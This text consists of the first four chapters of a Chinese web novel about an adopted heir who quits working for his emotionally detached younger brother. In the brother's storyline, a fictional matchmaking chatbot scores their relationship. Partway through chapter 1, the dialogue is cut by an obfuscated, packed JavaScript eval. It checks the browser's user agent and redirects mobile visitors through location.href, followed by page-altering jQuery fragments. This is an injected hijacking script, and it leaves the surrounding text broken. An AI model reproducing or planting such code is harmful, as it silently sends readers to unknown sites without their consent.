《豪门社畜不干了》 1. 第 1 章 何毓秀做了一个梦,梦里看到一个墓,碑上写了两行字: 牛马一生,未得善终。 一个男人站在他的碑前,目光幽深,神色暗淡,嗓音微微有些沙哑,“他是我用过最趁手的工具……” “我再也遇不到这么好用的工具了。”那个人说,语气中带着隐隐的悲哀,手指依依不舍地抚摸着他的照片:“下辈子,我们一定还要再……” 在“见”那两个字出来之前,何毓秀及时睁开了眼睛。 他躺在医院的病床上,手背上还有凉凉的液体在缓缓流入血管,身边放着生命体征监测仪,半掩的门外可以听到护士轻微的走动声,还有断断续续的交谈。 “……还没醒呢。” “人已经昏迷三天了,太吓人了,才二十九岁。” “还是金家的二太子呢,这么有钱还这么卷,让我们怎么活啊。” “你当豪门都是做慈善的啊?人家收养小孩都是有目的的好吗?那哪是二太子,分明是人形资产,打小就洗脑为家族付出,一点人权都没有,你不知道,他这次两进两出抢救室,第一次是过劳,第二次……” “都干什么呢?”一道严厉的声音传出,何毓秀睫毛动了动,双目猛地清明了起来。 第二次?! 第二次进抢救室是因为…… “金煦,你到底有没有把我当过兄弟。” 他仿佛再次听到了自己虚弱的声音,从戴着氧气罩的唇边发出,当时围着的人太多,他的床还在被人推动,眼前一片昏花之中,金煦似乎在跟着他的车跑,乍然听到这句话,直接就回了一句:“我是亲生的,你是收养的,我们之间没有血缘关系,永远都不可能是兄弟。” …… …… …… 何毓秀的脸色一阵青一阵白地变幻着。 外面的谈话声随着刚才那道声音的出现已经彻底消失,取而代之的是越来越近的脚步声,病房门被人推开,一个穿着白大褂的医生走了进来,道:“醒了?感觉怎么样?” 何毓秀眸色闪动,缓缓移动视线朝对方看去,神色带着隐隐的迷蒙。 “怎么,不认识我了?”楚千钧看了一眼旁边的输液袋,坐在他身边给他拔了针,道:“金煦去参加酒会了,说好了四点半来接你。” 何毓秀倒没有感到很意外,毕竟对方是能在自己濒死之时还能说出那种话的人,在他昏迷的时候去参加酒会又算得了什么。 已经不能更无情无义了。 “我饿了。” “有饭。”楚千钧从后面的床头上把饭盒拿过来,道:“这次的营养师有点惨,你的饮食方案被他打回去好几次,跟我对接之后才终于改成了合适的,看看这说明书。” 他抬高了病床,何毓秀被托着半坐起来,拿起眼镜戴上,看到了卡片上的文字: 进食顺序:主食,蛋白质,软蔬,汤品。 建议时间:主食阶段不得低于五分钟,随后依序进食其余食物,全程控制在25~30分钟内,严禁交叉饮食,以免影响胃排空节奏,请务必严格遵守。 “细致吧?”楚千钧啧啧有声:“也是金煦要求的,说要按照恢复期的标准严格控制摄入量……” “你想表达什么?”何毓秀在病床上的饭桌上打开饭盒,从里面端出小米粥。楚千钧看了一眼他的脸色,道:“你希望我表达点什么吗?” “挺烦的。” 何毓秀知道他一定听到了自己那天和金煦的对话,想要表示金煦只是认死理,并不是真的不把他当兄弟。 这种劝告他在很小的时候就听到了无数次。 金煦不是第一次这样说了,以前很多大人逗他说话的时候,只要提起‘你哥哥’三个字,金煦就总要出口纠正:“他不是我哥。” 一开始,何毓秀安慰自己他只是不喜欢当弟弟,于是他找了很多花,自己手捣花汁画了一幅画送给他,小声提议:“以后你当我哥好不好?” 金煦收下了那副画,再次将目光落在他脸上,道:“你比我大。” “我不介意的。”小何毓秀揪着衣角,有些紧张,小金煦便看了他好一阵,然后说:“你也不是妈妈生的。” “……”小何毓秀哑巴了一下,脸有些白:“你,你就当我是妈妈生的。” “这是事实问题。”金煦说:“我当不当你都不是。” 何毓秀并没有完全按照说明书进食,他吃了鱼块,软蔬,偶尔还就一口比较清新的黄瓜瘦肉汤。 其实到了这个年纪,他在金家生活了二十九年,无论金煦认不认他这个兄弟,他是对方哥哥的事情早就成了定局。 是自己眼皮子浅,金煦认死理,他也跟着钻牛角尖。 金煦是怪胎,他又不是。 “出院手续办了吗?” “还没有。” “现在就办了吧。”何毓秀道:“我想出去走走。” “现在?”楚千钧道:“你知道外面有多热吗?” “太久没见太阳了,出去补补钙。” “我陪你一起。”楚千钧将一个手提袋拎过来,道:“郑叔拿来的衣服,你收拾一下,我去给你办手续。” 楚千钧是院长之子,也是跟他们一起长大的发小,金家父母有个头疼脑热的都喜欢找楚爸,金煦和何毓秀有什么问题则更倾向于联系楚千钧。 楚千钧再次回来的时候,何毓秀已经洗完澡,吹干头发,换上了干净的白衬衫,面料依旧挺括规整,可胸口却有一个小猫刺绣,有别于以往的商务风,多了几分文艺与清新。 “别说,郑叔眼光还真不错,你现在这么一穿,跟大学生似的。” 何毓秀扶了一下眼镜,目光淡淡投过来的时候,楚千钧又把话收了回去:“戴上眼镜就有点像面试官了。” 何毓秀笑了起了。 他笑起来的时候总是给人一种训练有素的感觉,本能地得体,习惯性地温和,却又带着很明显的疏离,仿佛只要一转身,笑容就会无声褪去,不是突然的变脸,而是潮起潮落一般的自然而然。 “走吧。” 两人撑了一把遮阳伞,走出医院,楚千钧的语气也轻松了很多:“听说最近有个小子在追你?” “你是不是也发现,离开工作的地方连呼吸好像都顺畅了?” 楚千钧:“嗯……” 看来这不是自己一个人的错觉。 何毓秀心中有了决定,在一家透着凉气的咖啡店前停下,道:“请你喝一杯。” “你现在不能喝咖啡。” “别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213083|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟金煦一样行吗?”何毓秀径直走了进去,楚千钧收起遮阳伞,道:“可以买,但只能喝一口,不然我现在就跟金煦打电话。” 何毓秀已经点了两杯拿铁,道:“我就是想吃点冰的。” “你现在连冰的都要禁止。” “早知道不让你一起了。”何毓秀取出手机放在扫码窗口,‘嘀’的一声,收银员怔了一下,道:“好像没扫上。” 何毓秀看着自己手机上的弹窗:支付失败,请联系主账户解除限制。 “怎么……”楚千钧的视线移到他的手机上,神色也诡异地一顿,他没多说什么,直接取出自己的手机付了款,顺手将一杯拿铁朝何毓秀的脸上贴。 何毓秀及时回神,抬手挡了一下,把咖啡杯拿在手里,道:“挺有意思。” 楚千钧一时也不知道该说什么,他和金煦以及何毓秀都是从小一起长大的,虽然他清楚外面传言说何毓秀是专门挑选、精心培养,洗脑为家族付出什么的根本就是无稽之谈……可他也清楚,何毓秀在金家的确和亲生子不同。 这个圈子里并不干净,有许多私生子上位,兄弟阋墙的事情。老钱的家族好像总是这样,他自认自己家庭已经算是不错,可跟金家比起来,却终究只是勉强够得上是还算不错。 所以他也无从分辨,金煦究竟把何毓秀当什么,何毓秀又是如何看待自己的身份。 “你……还在用他的副卡?” 何毓秀撕开吸管包装纸,神色淡淡:“嗯,之前没限制过。” 楚千钧很想问:你不会真的傻到没有给自己留一分零花吧? 他当然清楚,何毓秀全身上下,从手腕上的百万名表,到往日出门接送的千万豪车,几乎全部都是金家为他置办的,也难怪外面总有那么多乱七八糟的传言,他在金曜工作不拿钱,平时消费都用金煦的副卡,自己连张银·行·卡都没有,名下也没有任何个人资产…… 他很想知道到底是何毓秀没要,还是金家没给?可转念又想到,如果金家要给,又何必他开口去要? 事到如今,他也有些弄不懂金煦到底在想什么了。 说他不把何毓秀当兄弟吧,三天前是他亲自抱着何毓秀从金曜的大楼里面冲出来,抢救的时候他寸步不离,人出来的时候他第一个跨上去,真真切切守了两天两夜,确定他的生命体征不再波动之后才终于睡了一觉。 可要说何毓秀是他兄弟吧……他不给人家置办自己的资产,抢救室外面还能说出那样的话,倒像是的确不把对方当自己人……要不是何毓秀是金家收养的,也没别的地方可以去,楚千钧毫不怀疑他俩早就一刀两断了。 何毓秀忽然停下脚步。 楚千钧抬眸去看,是一辆定制曜黑车漆的劳斯莱斯。 ——阳光下完全不反光,只在某个角度才能看出深藏其中的银灰金属粒感,仿佛掩着风暴的深海钢板。轮毂是高抛光黑镀铬,连车标都是哑黑镶金定制款。 车窗全贴隐私膜,车牌只留一位数,缓缓滑行之时,仿佛一块移动的金属禁区。 车子在两人面前停下,车窗下滑半扇,男人的目光落在何毓秀手中的咖啡上面,眉头一皱:“我不是风控了你的咖啡支出吗?” 楚千钧:“……” 你可别说话了。 2. 第 2 章 何毓秀跟楚千钧挥手告别,侧身坐在车内。 金煦一开口,他所有的愤怒就全部消失了。 不是不生气,而是跟这种人生气实在是太浪费感情。 他其实一直都知道金煦的脑子有点问题,不是精神或者心理,而是基因层面。 他从小就被检查出了神经递质系统发育不良、激素受体异常,这些区域异常导致了他在情绪处理上面与正常人有些差异……不止如此,他连HPG轴——性激素循环都像是冰封的水流,迟迟没有启动。 简单来说,在其他人因为靠近异性而心跳加速,面红耳赤,甚至产生性幻想的时候,他的身体还没有任何反应。 有时候何毓秀也劝自己,对方连最起码的繁殖冲动都没有,又怎么能指望他对兄弟有什么感情? 该反思的其实是自己,明知道对方是一块碳基主板,还舔得要死要活。 “是我扒着咖啡店的前台非要喝,楚千钧没办法才买给我的。”在金煦继续追责之前,他将咖啡杯递了过去:“这家味道还不错,你要不要尝尝?” 楚千钧已经离开,继续追责也没什么用。金煦接过他递来的咖啡杯,目测了一下余量,道:“你这次的情况非常惊险,急性心律失常,晚送五分钟命都要没了,至少三个月都不许再接触咖啡因。” 这也算是金煦关心他的一种方式吧。 何毓秀嗯了一声,随意地歪在一旁,道:“知道了。” 金煦紧锁着眉头,又看了一眼手里的咖啡,顿了顿,还是暂且放下,低头拿出手机。 一个名为PPC的程序被打开,上方很快浮出了干净而简洁的对话框,上方显示出: 「Personal Partnershippatibility Index,正在进行通话,请输入……」 这是一个聊天机器人的界面。 “他希望我喝他剩下的咖啡。” “他在请求与你间接接吻。”一如既往,PPC很快做出评测,“人类在病理期会表现出非常态的依赖性行为,这是一个相当积极的信号,针对本次行为采样,匹配度可上升至98.1%,恭喜,你们结婚的可能性越来越高了。” 金煦的神色并没有特别的变化。 他再次输入:“我应该喝吗?这本来是他平时离不开的,但他现在必须要进行戒断。” “我很明白你的担心。”PPC算法很快:“你希望陪他一起戒断咖啡,避免勾起他肚子里的小馋虫,但既然是他主动给的,相信我,你应该当着他的面喝下去!人类总是喜欢胡思乱想,如果你不喝,他反而要觉得你是不是在嫌弃他。” 金煦重新端起那杯冰美式,本来想直接把吸管拿掉,但想起这是何毓秀用过的,拔掉好像真的显得在嫌弃他,遂作罢。 他伸手推了一下何毓秀。 何毓秀的脑袋靠在车窗上,微拧着眉朝他看了一眼。 然后他就看到,金煦将他咬过的吸管送到了嘴边,抿住,吸。姿态规矩的像是在做教科书示范。 何毓秀眼睛一眨不眨地望着他。 咖啡杯本来就没多大,余量剩下半杯,吸管很快传出哗啦的声音,金煦及时停下,将空杯放在一旁,道:“知道你有点咖啡上瘾,我让人给你准备了茶氨酸胶囊,最近我的饮品也全部都会换成别的,免得你看了发馋。” “?” 何毓秀反应了一下,道:“不冰吗?” 金煦顿了顿,抿了一下没什么感觉的嘴唇,道:“还好,你三天没进食,还喝了半杯冷饮,胃难不难受?” 何毓秀略有困惑:“你好像在关心我。” “我当然是在关心你。” 他回答的很快,仿佛那天抢救室外面不耐烦地说永远不可能是兄弟的人不是他,何毓秀压住心中的不适,到底没忍住,开玩笑一般:“这么关心我,还在我昏迷的时候去跟别人喝酒?” 车内始终萦绕着一股淡淡的酒气,何毓秀本来不想过问太多,但他发现自己真的很讨厌金煦这种理所当然的样子。 这种感觉就像是压力巨大的时候对着PPC一通发泄之后,对方像知心老大哥一样来了一句:我理解你。何毓秀条件反射地想要回复:滚。 一堆拟态代码而已,装什么人。真当自己是硅基影帝呢? 现在的金煦在他眼中就跟二进制戏精没什么两样。 明明没有在乎的机制,却还要装得很在乎,非常虚伪。 “不是单纯去喝酒。”金煦解释,“是和东辰那边的收尾宴,你昏迷之后,谈判还在进行,我总要露个面。” 东辰……他脑海中忽然有一个弹窗浮现出来:权限不足,您已被踢出频道。 何毓秀的心脏一阵发紧,他调整了一下稍显紊乱的呼吸,道:“谈得如何?” “大获全胜。”金煦露出笑容,道:“我们砍下了他们的控股权。” 我们?何毓秀下意识想要讥讽,我不是已经被你踢出来了吗?! 固然这其实是东辰那边在故意制造动荡,可金煦拥有会议室的最高权限,这代表着自己被踢出经过了他的默许。 何毓秀点点头,道:“看来即便没有我,你们也同样可以完成的很出色。” “这件事还是要归功于你,如果不是你前期吸引了他们所有的注意力,控股权也没那么容易拿下来。” “所以你早就知道,他们会对我出手?” “有过预案。” 何毓秀笑容温和:“具体说说。” 金煦稍微坐直了一些,公事公办地道:“他们原本坚持控股,是因为你是主导方,报告你主写,评估路径和逻辑框架都绑定在你身上,他们防备的是你,不是项目。” “所以我放任你被踢出会议,拿掉你的署名,重排结构,调整提报流程,再用别人的名字重新送上会。” “他们默认你已经被撤换,项目中枢完成交接。我再提议修订投资条款,对方判断我方核心已变,认为新窗口更温顺、更可控,立场随之松动,控股条款也就顺势让了出来。” 说罢,他又一次露出了满意的神情,看着他的眼神也充满了欣赏:“所以,这一切都是因为你。” 何毓秀听懂了,就是先把他送上台阶,引来所有聚焦与猜忌,接着再将他从台阶上踹下来,像是某种‘审慎变阵’的牺牲方案,不需要沟通,也不需要解释。 这就是他在金煦眼中的价值,一个执行壳体。前期用来兜底主导,后期作为弃子再上谈判桌,就能把控股权稳稳收入囊中。 做完了之后,什么奖励都没有,金煦只需要一句“这一切都要归功于你”,他就会心满意足。 我可真是一把好兵啊。 这么多年来,金煦明明一次又一次地在利用他,可每当他说出那句:我们大获全胜,他就总能在那句“我们”里面找到一种荒谬的归属感,仿佛他口中的“我们”,真的包括自己。 即便是在自己在抢救室两进两出之后,他的语气里面依旧没有半分慰问与愧疚,只是一种奖励,一种不自知的施予,仿佛上位者俯瞰棋盘之后的仁慈口吻。 “你很清楚我为这个项目付出了多少心血。” “当然。”金煦神色凝重了一些,道:“你之所以会进医院,就是因为你没有合理分配体能负荷,过分透支导致自主神经系统失调,内分泌紊乱,心血管系统供血不足——再晚一点,就会发展成急性心源性猝死。” 最后,他用自己的眼睛很用力地盯着何毓秀:“你现在知道错了吗?” “……”何毓秀没准备被他气到的。 他再次笑了一下,将目光转向窗外,道:“到家了。” 不该不相信科学的。 好友宋即安曾经说过,想要让金煦把他当家人,就是一个妄想。再多的付出也不过是把真心塞入碎钞机,只会血本无归,奈何自己不信邪,他总觉得人心都是肉长的,却选择性地忽视了金煦天生怪胎这件事,他的基因序列里面就没有情义这两个字。 二十九年来,他跟金煦谈感情,金煦跟他谈数据,他 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车子在主宅门口停下,何毓秀径自下车,管家立刻亲自迎了上来,道:“大少,您回来了?感觉身体好点了吗?饿不饿,要不要吃点什么?” 他一连串地发问,总算是勉强让何毓秀感觉到了人味,他嗯了一声,道:“帮我弄杯冰橙汁。” 郑伯言还没开口,金煦就道:“换成热橙。” 何毓秀呼吸克制,神色一如既往,他径直沿着楼梯往上走去,脑子里面像是有一根弦随时都会崩断。 他第一次发现金煦居然这么会推责……他真情实感地觉得一切都是自己的错,是自己体力分布不均才会导致差点没命……为了这个项目,他辛辛苦苦加班加点地熬了三个多月,报告是他写的,话是他讲的,模型是他跑的……却在最关键的时刻被当做弃子踢出棋局。 始作俑者一点都不觉得把他踢出去有什么不对。 身体里面萦绕的幽幽怨气似乎化为了袅袅青烟,只需一阵风就能唤醒火种。 何毓秀安静地,一步一步地朝上面走着。 三层是他和金煦的住所,以中间的起居厅以分为二,两边的房间布局几乎完全对称——这本来是父母为了迎接双胞胎而准备的,可惜金煦那个兄弟在还是胚胎的时候就被他吸收掉了。 也正是因为那个胚胎的基因残片留存在了他的体内,两组基因的连接出现差异,才导致了金煦大脑功能的区域异常,出现如今种种的非人行为。 ……他还没出娘胎的时候就已经学会了剥削。 何毓秀来到自己的房间,准备关门的时候,一只手却忽然挡住,金煦道:“今晚我们一起睡。” 何毓秀盯着他。 “为防止你一个人再……” “去那边。”何毓秀的手指笔直地指向了阳台的小圆桌。 金煦看了一眼,眼底浮出困惑,但在他无比冷静而坚定目光下,还是嗯了一声。 他很快坐在小圆桌前,再次看向何毓秀的房间时,对方已经重重关上了门。 忍不了了,他一分一秒都忍不了了。 这世上怎么会有这么讨厌的人,自己真是脑子被驴踢了才会想要获得这种人的认可……就算金煦不认他又怎么样?他在金家生活了二十九年,父母不可能那么由着他把自己赶出去…… 小时候他害怕金煦不喜欢他所以不得不讨好他,但他都已经要三十岁了!即便金煦再也不许他进这个家门,他也绝对能养活自己!! 何毓秀再次出来的时候,神色冷厉的仿佛要进行法务谈判。 金煦确实也只在法务问题上的时候见过他这种表情。 下一瞬,一张纸忽然重重被按在他面前,何毓秀语气清晰:“签了。” 金煦看了一眼那张纸,眉心顿时一跳:“驳回。” “你是不是没我不行?” 何毓秀始终保持着居高临下的姿势。 他的手指按在纸张上,人并没有在椅子上坐下,目光微垂,一瞬不瞬地盯着金煦。 金煦与他对视,嘴唇微动:“你,凶我……?” 3. 第 3 章 “凶你?”何毓秀冷笑:“你如果不签,我还要打你。” “……” 其实真的跟金煦动起手来,自己肯定讨不到便宜。虽然他长期在外出差跑项目,但到底只能算是文职,可金煦的生活就比他丰富多了,在何毓秀加班加点的时候,他在好好睡觉,在何毓秀满世界忙得团团转的时候,他在游泳、健身、偶尔还会出去赛车。 但他知道金煦不会等到他动手。 不是因为自己在他心中有多么重要,而是金煦不喜欢情绪化的人。 只要自己表现出随时可能会发疯的样子,金煦就会主动远离。 在他的认知里面,所有情绪不稳定的人统统都是怪物。 他不擅长吵架,也不喜欢处理冲突,对于他来说,各自放过是最节省彼此时间的做法。 所以何毓秀只要想放话威胁,他就会判定面前的人是个没必要浪费时间去沟通的蠢货,然后毫不犹豫地拉开距离。 对方果然在辞职信上签了字。 他重新合上笔帽,目光还在一眨不眨地盯着何毓秀。 没有纠缠追问辞职的缘由,也没有了解他接下来打算的意思。 就像他在公司里面随随便便辞退普通员工的时候一模一样。 何毓秀一把抓过辞职信,头也不回地转身离开。 他没有过多停留,便径直去车库开了一辆跑车,风驰电掣地停在了一家酒吧的门前。 天色已晚,装修怀旧的酒吧里面流淌着动人的钢琴声,年轻的店主正坐在角落的手工台上仔仔细细地装修着自己的核桃小屋。 何毓秀一冲进去就道:“宋即安!快点,给我刷卡,刷一百瓶Richard!!” 宋即安吓了一跳:“你舍得喝Richard?等等,我哪来一百瓶Richard给你?!你当我这是搞批发的呢?!” “那就别的,快点,给我刷点钱出来,金煦马上就要冻结我的卡了!” 不远处的调酒师惊讶地朝这边看,宋即安拿起卡片来,被他推着往收银台走,面色古怪:“金煦为什么要冻你的卡?” “我跟他提辞职,还说要打他。” “……”宋即安一边加快动作,一边止不住惊叹:“到底是怎么回事?你平时在他跟前装得跟孙子一样,是谁给你这么大的勇气?” “是愤怒,是死亡,是士可忍孰不可忍。” “恭喜,我们的豪门社畜终于觉醒了。”宋即安用力划了一下卡,很快朝他看了过来,道:“支付失败,已经被锁了。” “……”何毓秀安静了一下,一下子恢复了往日活人微死的状态,静静坐在了一旁的卡座上。宋即安拿了杯橙汁端过去,道:“别跟我说你就这一张卡。” “这是家族信托的黑金卡。”何毓秀道:“我没在别的银行办过卡。” “……真拿你这种老钱家族没办法。”宋即安吐槽了一句,有点同情,又依旧感觉自己在做梦:“金煦真的会把你逐出家门吗?” “我要是百分百确定这一点,就不说打他了。”何毓秀趴在桌子上,浓睫微垂:“他果然不是人。” “怎么突然就……” “太冲动了。”何毓秀道:“我应该先搞点钱出来再跟他闹翻的……安安……” “咳咳咳。”宋即安点点头,道:“你放心,我肯定不会让你流落街头的……” ”太好了。”何毓秀拿出手机收款码:“V我十万表表心意。” “……”宋即安白了他一眼,一边拿出手机接济他,一边道:“这事儿你爸妈知道不?他们能眼睁睁看着金煦把你逐出家门?” 宋即安跟何毓秀是在小学的时候认识的,宋即安小时候也是老实小孩,跟何毓秀很合得来。去过金家几回,从何若仪那里,他知道金家的父母其实更宠爱何毓秀。 其实要是他是爹妈,肯定也更喜欢何毓秀,金煦一直对社交很无感,对父母也一样,听说他五岁之前都没有叫过爸妈,可以说,金家父母绝大部分的育儿乐趣,都是从何毓秀身上体验到的。 所以即便金煦永远都不接受何毓秀,宋即安也相信金家的父母不会舍得让他流落街头。 “他们还在邮轮上,信号不好,我没给他们打过电话。” “你这次住院的事儿也没说?” “不知道。”何毓秀喝了一口橙汁,看着宋即安道:“晚上去通宵。” “通宵?!”宋即安再次被他吓到:“是你还是我?” “我们。” “一个过劳昏迷刚出院的你,还有一个将近三十不惑的我……” 何毓秀给了他一个肯定的眼神。 宋即安还欲再劝:“你前两天从金曜被抬进抢救室的事已经在圈子里传开了,要是今天晚上再从网吧抬过去……脸还要不要了?” 他不劝何毓秀可能还没下定决心,听他这么一说,何毓秀直接起身离开了座位。 “我宁肯自己的墓志铭是‘中年叛逆,晚年作死’,也好过‘牛马一生,未得善终’。“ 南堤一号,金煦坐在小圆桌前,足足安静了三十多分钟。 “Core。”他开口,手机立刻轻轻响了一下,一个稍显机械感的声音道:“我在。” “何毓秀辞职了。” 屏幕上面的图标变幻着,它足足处理了快一分钟,才道:“天呐,这真的是一件相当匪夷所思的事情。我非常理解你现在的感觉,但没关系,下一个更好。” 金煦再次安静了几秒:“什么?” “根据既定匹配机制来看,何毓秀突如其来的辞职行为将致使匹配分数下降至百分之五十三点八(临近崩溃),继续投入将增大耗损,预期回报趋近于不稳定,建议及时更换匹配对象,以便控制风险,避免进一步损失。” 金煦的脸色出现变化:“你是怎么得出这个结论的?” “鉴于之前1987次采样中含工作交集超过1343次,解除工作绑定相当于合作崩塌,综合统计加上酌情减量,故得出以上分数。”PPC道:“但没关系,我可以立刻制定一个新的匹配计划,您只要给我一个新的样本,其余一切都交给我,我一定会确保您在明年春天如期结婚。” “你的记忆库是完整的吗?” “正在检测……检测完成:您当前为‘Private Perception Core’系统的原始输入者,权限等级最高,记忆库容量已开放至最大限额,数据完整性可确认为 100%。” “那你就应该记得我和他之间并不是普通的劳务关系,即便他从金曜辞职,也终将还是要回到这个家。”金煦的声音比方才冰冷了许多,仿佛受到了什么刺激一般:“把所有记忆纳入考量,重新计算。” 手机上的图标再次变幻,郊外的服务器被遏制了算法,只寥寥亮起几盏小灯。很快,PPC再次回复:“当前权限不足,申请更多拟态模块调度权,以方便做更多情绪分析。提示:根据系统协议,启用高级算法前须预估资源成本。是否开始?” “开始。” 齿轮的图标不断整合,几息之后,PPC给出答复:“当前启用该模块预计将调动三级备用算力与情感运算链,单次成本为8769.34元。提示:普通终端用户单次调用成本约为0.08至0.5元,企业用户为10至30元。如非必要,不建议因非工作事项触发。” “只用基础拟态链,别启用高频反馈,不需要太多交互,能分析就行。”他的语气明显变得愈发不耐:“这不是他的问题,而是你的问题,只是一次普通的辞职,匹配度怎么可能下降这么多?” 服务器再次克制地亮起了几排小灯,金煦则从桌前离开,推开玻璃门,暑热尚未退去,楼下的管家和园丁正在一起打理花园,他低头去看,道:“何毓秀去哪了?” 郑伯言抬头,道:“说是去找宋少爷,晚上不回来吃饭了。” “什么时候回来?” “……我打个电话问问。” 接到电话的时候,何毓秀正和宋即安在一起吃晚饭,宋即安还在嘟囔熬夜伤身,但同时也窝窝囊 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看他又一次人体描边后被人反制,宋即安叹了口气,不得不爬起来带他:“我看你这是迟了十几年的叛逆期终于到了,通宵上网打游戏还骗家长,怎么样,下一步是不是还得谈个恋爱?” “有这个想法。” 宋即安手下一顿,蓦地脚下一蹬,将椅子滑到他身边:“要不,我给你介绍一个?” 「分析完成。」 凌晨一点,金煦书房的电脑上,PPC的主程序依旧在无声地运行着,在电脑弹出提示的一瞬间,手机APP也跳出了同样的通知。 金煦睁开眼睛,打开床头灯,拿起手机查看详情。 “根据您此前输入的采样判断,他此次辞职很可能是源于工作压力导致的短期逃避行为,并不等同于感情关系的破裂。但需要注意的是,我先前的行为样本中有三分之二以上采集自你们共事期间的数据。在失去这部分支撑后,当前匹配评分只能维持在79.3%。 若想获得更接近真实情感的判断结果,您需要在日常生活中重建与他的互动节奏,让配合度回归稳定轨道。” 跟他预料的差不多,金煦靠在床头,伸手抚了抚手边冰凉的床垫,道:“已经凌晨一点,他还没有回家。” 加入了更高级的算法之后,PPC的语气已经不再是一味的依附,而是带上了些许委婉的劝解:“一次的夜不归宿不能说明什么,也许只是应激反应下的独处行为,如果实在担心,建议打个电话确认一下情况,多数人面对亲密关系的关系,并不会全盘拒绝。” “他说睡在了朋友家,现在打电话的话会吵醒他们。” “您真是一位特别体恤的伴侣,考虑得太有道理了。” “我只是不想他凶我。” PPC运算了一阵,道:“您没有在之前的采样中谈论过关于他对您发脾气的事情。” “他心情不好我应该要体谅的。” “……”PPC似乎卡了一阵,回应道:“您对他情绪的体谅值得肯定,但未将‘被凶’等负向互动录入表单,可能会导致模型缺省冲突数据。当前匹配评分已因样本不完整产生±6% 的浮动。若长久如此,系统将无法准确预测后续风险。” “他的态度只是我需要适应的一部分,不属于系统应当干预的内容。” “理解您希望把更多的责任归于自己,这体现了高度的稳定性与控制力。但请注意,当系统采样仅基于‘您愿意承认的部分’,将导致模型忽略潜在波动区域,匹配预测会出现系统性偏差。” “我研读过婚姻关系的心理模型,理论上只要有一方情绪足够稳定,就能为关系提供持续的支撑。就像飞行器在风暴中保持航向,风的方向不会决定终点。” 手机上的图标长久地变换着,明明已经采集了他的话语,却始终没有给出足够的回应,最终,PPC表示:“也许我需要更多拟态模块的调度权。” 4. 第 4 章 接到何毓秀的电话的时候,宋即安正在查看酒吧的流水,一拿起手机,他就嘿了一声,语气迫不及待:“聊得怎么样?人帅吧,爱笑吧,是不是特会哄人?” “是个弟弟。” “虽然是弟弟,但人家可是玩音乐的,网上有十来万粉呢,反正你吃方便面从来不放调料包,养活你绝对没问题。” “我最讨厌弟弟了。” “……”宋即安想起金煦那张脸,轻咳一声,道:“他跟你家弟弟能一样吗?人家是专门来跟你谈恋爱的,更何况,其实我觉得金煦从来没把你当过哥……” 话筒里面一片安静。 宋即安急忙转移话题:“你现在的状态,找弟弟是最好的,你想玩什么人家都有精力,你要是找个我这样的,熬个夜直接给你干的折寿半百…… 现在还瘫在床上起不来呢……” 或许是发现他说的有道理,何毓秀终于挂断了电话。 宋即安介绍的年轻人叫陆然,品相确实不错,而且见人就笑,笑起来脸颊还有一个小梨涡,浑身还散发着对这个完蛋世界的治愈气息。 何毓秀重新回到桌前坐下。 虽然同样是熬了一夜,但他的身体早已习惯,此刻凝望着对方的眼神,依旧冷淡,疏远,既有分寸又相当得体,“你对未来有什么规划吗?” 陆然:“……你是说,对我们两个的未来?” “关于你自己的个人发展。” “哦。”陆然微微坐直,道:“我是学钢琴的,平时喜欢作曲,有时候会去朋友的直播间里聊天,如果未来有机会的话,我想开一个自己的音乐工作室……我还会配音,最近在尝试应聘一个动漫电影的小角色,不过那边还没回应。” “方向不少,但重心不太明确。”何毓秀道:“如果只选择一个主业,你会选哪个?” “……”陆然安静了一下,端起杯子抿了口橙汁。 他最近其实是在宋即安的酒吧里面弹钢琴,不过大部分钢琴师都只是背景音,所以很少会有客人留意到他。何毓秀显然也一样。 但,他其实留意了何毓秀很久。 一来是因为他是老板宋即安的朋友,二来则是因为酒吧里面来的常客里面,经常会提到金家的那个养子。 金家是货真价实的老钱世家,凌川的地标,高达七十三层的金曜大厦就是他们家建造的,还是建于三十年前,在那个绝大部分人都还将“万元户”当成遥不可及的目标时,金家就已经在这片未成型的天际线上刻下了自己的姓氏。 金家的养子,可谓是自带神秘与故事感。更不要说,很多人在提到他的时候还总喜欢添油加醋,能编出好多个版本。 当然,最重要的是……他长得很好看。 “我现在,是在面试吗?” 他开口,语气带着几分试探,何毓秀在被子上轻敲的手指微微停顿,四目相对,陆然先笑了起来,道:“宋哥说你不太会谈恋爱,我还以为是说着玩的……” 毕竟那可是金家。 即便只是养子,他身边也不可能少了追求者。 宋即安跟他说的时候,陆然还以为自己是在做梦……金家的人,怎么可能会跟他这种人产生交集?要知道,金家这一代的掌权人总共有两个,一个搞技术,一个搞业务,不是双生胜似双生。 在信息化高速发展的今天,AI已经成为了人类生活中必不可少的一环,而由金煦一手开发,何毓秀亲自做公关的“Personal Perceptionpanion”,出道短短两年,就已经嵌入了各大手机厂商的操作系统,无论是大学生还是职场人士,几乎人手必备。 当初那个在科技大舞台上戴着耳麦,于万众瞩目之中侃侃而谈的顶级精英,此刻就坐在自己面前……带着些许的无所适从。 但他反应的很快,没有承认,也没有否认,直接道:“你可以换一个更擅长的。” “别。”看出他当真要结束,陆然急忙道:“宋哥说你最近心情不好,让我陪你玩几天……也没说非要我们谈恋爱。” 何毓秀眼皮一抽:“这样?” “是啊。”陆然睁着眼睛说瞎话,道:“咱俩各取所需就行。” “哦?” “就是……我最近想争取的那个配音角色……”陆然说出了电影的名字,何毓秀恍然,道:“我确实认识他们的投资方。” “你……认识投资方?!” 这次的动画电影据说是历时十年打造,无论是剧情还是美术,都是业内顶尖,陆然也只是自认为自己和其中一个角色很匹配,所以才斗胆一试,他本来以为对方可以让自己在导演制片面前混个脸熟什么的……但没想到他一开口就是爸爸级的人物。 “嗯,杜浔,我弟弟跟他玩得不错。” 是金煦的朋友?! 陆然顿了顿,道:“我,我就是想通过自己的能力尝试一下,只要给我一次机会就行,我发出去的邮件,好像根本没人看……不用找爸……那个,杜总的。” “那你想找谁?” “配音导演,或者,工作室负责人……” 